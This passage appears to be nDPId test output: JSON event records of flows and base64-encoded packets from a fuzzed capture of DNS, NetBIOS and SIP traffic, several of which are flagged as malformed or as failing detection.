+00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":588,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1120470908872,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"128.168.1.2","dst_ip":"192.168.1.1","src_port":2810,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":218,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":588,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470908,"pkt_ts_usec":872202,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa90AAIARS3SAqAECwKgBAQr6ADUANDnJ8AEBAIgBAAAAABAABF9zaXAEX3VkcANzaXAJY3liZXNjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":589,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1120470908872,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"128.168.1.2","dst_ip":"192.168.1.1","src_port":2810,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":589,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1120470908872,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"128.168.1.2","dst_ip":"192.168.1.1","src_port":2810,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":589,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":136,"flow_packet_id":2,"flow_first_seen":1120470303331,"flow_last_seen":1120470307336,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2770,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":589,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":1120470899862,"flow_last_seen":0,"flow_tot_l4_data_len":1084,"flow_min_l4_data_len":1084,"flow_max_l4_data_len":1084,"flow_avg_l4_data_len":1084,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":5060,"dst_port":17860,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":589,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":1120470899862,"flow_last_seen":0,"flow_tot_l4_data_len":1084,"flow_min_l4_data_len":1084,"flow_max_l4_data_len":1084,"flow_avg_l4_data_len":1084,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.35","src_port":5060,"dst_port":17860,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":589,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1120470899865,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.170.1.2","dst_ip":"192.168.1.1","src_port":2810,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":589,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1120470916873,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2811,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":219,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470916,"pkt_ts_usec":873721,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa94AAIARS3fAqAECwKgBAQr7ADUAMMzBWAIAAAABqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00659{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":589,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1120470916873,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2811,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":590,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1120470916875,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.233.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2811,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":220,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470916,"pkt_ts_usec":875212,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqOkBwKgBAgA1CvsAR689eAKAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00655{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":590,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1120470916875,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.233.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2811,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":591,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470916,"pkt_ts_usec":876463,"pkt_caplen":47,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":47,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":591,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":43690} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":592,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470923,"pkt_ts_usec":515411,"pkt_caplen":92,"pkt_type":3072,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":92,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/AODtAW4zDABFAABOa+AAAIARSm3AqAECwKgB\/wCJAIkAOltBhVoBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVPQ0FDQUNBQ0FDQUJNAAAgAAE="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":592,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":3072} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":593,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":1120470924263,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":905,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_id":221,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470924,"pkt_ts_usec":263958,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/AODtAW69CABFAABOa+EAAIARSmzAqAECwKgB\/wCJA4kAOltBhVoBEAABAAAAAAAAIEVGRURFSkZQRUVFUEVORUJFSkVIQ0FDQUNBQ0FDQUJNAAAgAAE="} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":595,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":141,"flow_packet_id":4,"flow_first_seen":1120470327552,"flow_last_seen":1120470336558,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2772,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":595,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1120470916875,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.233.1","dst_ip":"192.168.1.2","src_port":53,"dst_port":2811,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":595,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1120470916873,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2811,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":595,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":1120470924263,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":905,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":595,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":1120470924263,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.255","src_port":137,"dst_port":905,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":595,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_first_seen":1120470949427,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2812,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":222,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470949,"pkt_ts_usec":427890,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa+MAAIARS27AqAECwKgBAQr8ADUANNjGUQIBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3lhZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":595,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_first_seen":1120470949427,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2812,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cyaercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00467{"flow_id":222,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470950,"pkt_ts_usec":421611,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW49CABFAABIa+QAAIARS23AqAECwKgBAQr8ADUANNjGUZgBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00467{"flow_id":222,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470952,"pkt_ts_usec":424495,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa+UAAIARS2zAqAECwKgBAQr8ADUANNjGUQIBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":598,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470954,"pkt_ts_usec":427379,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAABIa+YAEIARS6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":598,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00467{"flow_id":222,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":599,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470958,"pkt_ts_usec":433169,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa+cAAIARS2rAqAECwKgBAQr8ADUANNjGUQIBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":600,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":144,"flow_packet_id":4,"flow_first_seen":1120470356585,"flow_last_seen":1120470365590,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2774,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":600,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":1120470966440,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2813,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":223,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470966,"pkt_ts_usec":440815,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa+gAAIARS23AqAECwKgBAQr9ADUAMIS+oAMAAAABAAAAAAAAATEBMAEwEzEyNwdpbi1hZGByBGFycGEAAAwAAQ=="} +00696{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":600,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":1120470966440,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2813,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127_in-ad_r_arpa___","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":601,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470966,"pkt_ts_usec":442326,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AJrtBW69ADBUADRWCABFAJFbeQBAAEARtz7AqAEBwKgBAgA1Cv0AR2c6oAOAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGTyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":601,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71} +01458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":602,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470966,"pkt_ts_usec":443914,"pkt_caplen":856,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":856,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAGtKa+kAAIARE\/rAqAEC1PIhIxPEE8QDNtslSU5WSVRFIHNpcDozNTEwNDcyNEBzaXAuY3liZXJraXR5LmRrIFNJUC8yLjANClZpYbcgU0lQLzIuMC9VRFAgMY4yLjE2OC4xLjI6NTA2MDticmFuY2g9ejloRzRiS25wMTE4ODgyOTgtNDQ4ZTM3NzcxOaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":602,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":822} +00809{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":604,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470966,"pkt_ts_usec":606422,"pkt_caplen":371,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":371,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAAFla+oIAKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":604,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":337} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":605,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":1,"flow_first_seen":1120470966852,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2814,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":224,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":605,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470966,"pkt_ts_usec":852771,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADR2AODtAW69CABFAABIa+sAAIARS2bAqAECwKgBAQr+ADUANOrBPwUBAAABAAAAAAAABF9zaXAEX3VkcAJzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00660{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":605,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":1,"flow_first_seen":1120470966852,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2814,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":606,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470967,"pkt_ts_usec":846650,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAABIa+yjAIARS2XAqAECwKgBAQr+ADUANOrBPwUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":606,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":607,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470969,"pkt_ts_usec":849552,"pkt_caplen":86,"pkt_type":0,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtASVzAABFAABIa+0AAIARS2TAqAECwKgBAQr+ADUANOrBPwUBAAABAAAAAAAABGRzaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet 